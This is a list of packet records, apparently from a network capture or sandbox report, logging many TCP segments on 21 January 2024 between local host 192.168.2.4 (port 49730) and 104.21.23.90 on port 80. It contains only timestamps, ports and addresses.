Jan 21, 2024 16:57:09.068344116 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.069057941 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.069097042 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.069117069 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.069133997 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.069170952 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.069183111 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.069209099 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.069261074 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.069844961 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.069883108 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.069932938 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.069946051 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.069969893 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.070007086 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.070030928 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.070713997 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.070750952 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.070763111 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.070789099 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.070825100 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.070835114 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.070863962 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.070909023 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.071543932 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.071580887 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.071618080 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.071626902 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.071654081 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.071691036 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.071696043 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.072386026 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.072422028 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.072443008 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.072459936 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.072496891 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.072504997 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.072534084 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.072582006 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.073234081 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.073271036 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.073307037 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.073317051 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.073344946 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.073380947 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.073390961 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.074016094 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.074053049 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.074074984 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.074090958 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.074126959 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.074145079 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.074165106 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.074213028 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.074843884 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.074881077 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.074917078 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.074927092 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.074959040 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.074996948 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.075011015 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.075740099 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.075788021 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.075794935 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.075824976 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.075861931 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.075871944 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.075900078 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.075954914 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.076570034 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.076608896 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.076644897 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.076659918 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.076683998 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.076720953 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.076731920 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.077366114 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.077403069 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.077410936 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.077440023 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.077476978 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.077488899 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.077513933 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.077560902 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.078231096 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.078269005 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.078305006 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.078315020 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.078341961 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.078378916 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.078397036 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.079044104 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.079081059 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.079096079 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.079118967 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.079155922 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.079165936 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.079194069 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.079240084 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.079868078 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.079904079 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.079941034 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.079952002 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.079979897 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.080017090 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.080027103 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.080730915 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.080769062 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.080786943 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.080805063 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.080842972 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.080852032 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.080879927 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.080933094 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.100795984 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.100835085 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.100871086 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.100904942 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.100940943 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.100970030 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.101001978 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.101098061 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.101135015 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.101172924 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.101207018 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.101243973 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.101304054 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.101305008 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.101305008 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.101998091 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.102034092 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.102068901 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.102106094 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.102102041 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.102144003 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.102168083 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.102826118 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.102863073 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.102890968 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.102900028 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.102936029 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.102955103 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.102973938 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.103029013 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.103722095 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.103760004 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.103796959 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.103817940 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.103835106 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.103873014 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.103888035 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.104464054 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.104517937 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.104528904 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.104567051 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.104604006 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.104619980 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.104641914 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.104697943 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.105309010 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.105345964 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.105381966 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.105400085 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.105418921 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.105457067 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.105472088 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.106117964 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.106173992 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.106218100 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.106256008 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.106292009 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.106309891 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.106328964 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.106383085 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.106944084 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.106981039 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.107017040 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.107034922 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.107055902 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.107095003 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.107109070 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.107747078 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.107784033 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.107805014 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.107820988 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.107857943 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.107877016 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.107896090 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.107964039 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.108649969 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.108722925 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.108760118 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.108786106 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.108797073 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.108834982 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.108853102 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.109400988 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.109437943 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.109456062 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.109476089 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.109514952 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.109532118 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.109553099 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.109607935 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.110306025 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.110342979 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.110397100 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.110404968 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.110456944 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.110492945 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.110506058 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.111124992 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.111161947 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.111181021 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.111197948 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.111234903 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.111252069 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.111273050 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.111327887 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.111917973 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.112001896 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.112040043 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.112060070 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.112076998 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.112113953 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.112134933 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.112745047 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.112801075 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.112852097 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.112889051 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.112925053 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.112946987 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.112962961 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.113017082 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.113651991 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.113692045 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.113728046 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.113745928 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.113765955 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.113804102 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.113821983 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.114487886 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.114525080 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.114543915 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.114562988 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.114604950 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.114619970 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.114645004 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.114698887 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.115258932 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.115338087 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.115374088 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.115392923 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.115411043 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.115447044 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.115462065 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.116144896 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.116183043 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.116200924 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.116219997 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.116257906 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.116276026 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.116295099 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.116353989 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.116952896 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.116990089 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.117027044 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.117043018 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.117067099 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.117103100 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.117121935 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.117769957 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.117805958 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.117824078 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.117842913 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.117878914 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.117897034 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.117933035 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.117988110 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.118592024 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.118629932 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.118665934 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.118683100 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.118705988 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.118741989 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.118752956 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.119501114 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.119558096 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.119558096 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.119596004 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.119635105 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.119652987 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.119671106 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.119725943 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.120302916 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.120342016 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.120378971 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.120399952 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.120417118 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.120471001 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.120471954 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.121366024 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.121403933 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.121418953 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.121442080 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.121478081 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.121495962 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.121516943 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.121567011 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.121949911 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.122030973 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.122066975 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.122085094 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.122103930 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.122140884 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.122157097 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.122760057 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.122797966 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.122816086 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.122833967 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.122869015 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.122886896 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.122908115 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.123028994 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.123620033 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.123656988 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.123692989 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.123714924 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.123730898 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.123768091 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.123781919 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.124481916 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.124519110 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.124536991 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.124556065 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.124591112 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.124608994 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.124629974 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.124681950 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.125336885 CET	80	49730	104.21.23.90	192.168.2.4
